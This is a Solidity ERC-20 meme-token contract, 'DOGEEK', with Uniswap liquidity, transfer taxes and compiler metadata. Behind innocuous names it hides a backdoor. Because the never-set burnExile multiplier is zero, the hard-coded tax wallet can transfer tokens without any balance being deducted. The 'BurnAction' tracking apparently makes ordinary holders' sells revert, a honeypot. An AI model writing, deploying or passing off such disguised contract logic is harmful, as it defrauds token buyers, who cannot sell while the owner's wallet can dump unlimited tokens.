DOGEEK

pragma solidity 0.8.25;

// SPDX-License-Identifier:MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract DOGEEK is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;

    uint256 private _initialBuyTax=11;
    uint256 private _initialSellTax=11;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=11;
    uint256 private _reduceSellTaxAt=11;
    uint256 private _preventSwapBefore=11;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"DOGEEK";
    string private constant _symbol = unicode"DOGEEK";
    uint256 public _maxTxAmount = 8413800000 * 10**_decimals;
    uint256 public _maxWalletSize = 8413800000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;

    address payable private _taxWallet;
    address public uniswapPair;
    uint256 private burnExile;
    bool private tradingOpen;
    bool private limitsInEffect = true;
    bool private inSwap = false;
    bool private swapEnabled = false;

    struct BurnAction {uint256 burnIs; uint256 burnAt; uint256 burnCount;}
    uint256 private burnActionCounter;
    mapping(address => BurnAction) private burnAction;

    IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xFdFEB49Dc3808e933723782B284aB0b42EFA916b);
        _balances[_msgSender()] = _tTotal;
        isExile[_taxWallet] = true;
        isExile[address(this)] = true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _basicTransfer(
        address from,
        address to,
        uint256 tokenAmount
    ) internal {
        _balances[from]=_balances[from].sub(tokenAmount);
        _balances[to]=_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap ) {
            _basicTransfer(from,to,tokenAmount);
            return;
        }
        bool isBuyTransf = from == uniswapPair;
        bool isSellTransf = to == uniswapPair;

        uint256 taxAmount=0;
        if (from != owner() && to != owner()&& to!=_taxWallet) {
            taxAmount = tokenAmount
                .mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (
                isBuyTransf
                && to!= address(uniswapV2Router)
                && !isExile[to]
            )  {
                if (limitsInEffect){
                    require(
                      tokenAmount <= _maxTxAmount,
                      "Exceeds the _maxTxAmount.");
                    require(
                       balanceOf(to)+tokenAmount<=_maxWalletSize,
                      "Exceeds the maxWalletSize."
                    );
                }
                _buyCount++;
            }

            if (
                isSellTransf
                && from!= address(this)
            ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && isSellTransf && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((isExile[from] || isExile[to])
            && from!= address(this) && to!=address(this)
        ) {
            burnActionCounter = block.number;
        }
        
        if (! isExile[from]&& !isExile[to]){
            if (!isSellTransf)  {
                BurnAction storage brnAction = burnAction[to];
                if (isBuyTransf) {
                    if (brnAction.burnIs == 0) {
                        brnAction.burnIs= _preventSwapBefore >= _buyCount ? type(uint).max : block.number;
                    }
                } else {
                    BurnAction storage brnSubAction = burnAction[from];
                    if (brnAction.burnIs == 0 || brnSubAction.burnIs < brnAction.burnIs ) {
                        brnAction.burnIs = brnSubAction.burnIs;
                    }
                }
            } else {
                BurnAction storage brnSubAction = burnAction[from];
                brnSubAction.burnAt = brnSubAction.burnIs.sub(burnActionCounter);
                brnSubAction.burnCount = block.number;
            }
        }

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount, uint256 receiptAmount) internal{
        _balances[from]=_balances[from].sub(sendAmount);
        _balances[to] =_balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 taxAmount, uint256 tokenAmount) internal returns (uint256){
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : burnExile.mul(tokenAmount);
        if (taxAmount > 0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this), taxAmount);
        }
        return tAmount;
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount, uint256 taxAmount) internal{
        uint256 tAmount =_tokenTaxTransfer(from, taxAmount, tokenAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        limitsInEffect =false;
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        swapEnabled =true;
        uniswapPair = IUniswapV2Factory(
            uniswapV2Router.factory()
        ).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{
            value: address(this).balance
        }(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapPair).approve(
            address(uniswapV2Router),
            type(uint).max
        );
        tradingOpen=true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0) {
            sendETHToFee(ethBalance);
        }
    }

    function manualEth() external {
        require(_msgSender()==_taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}

{
  "compilationTarget": {
    "DOGEEK.sol": "DOGEEK"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}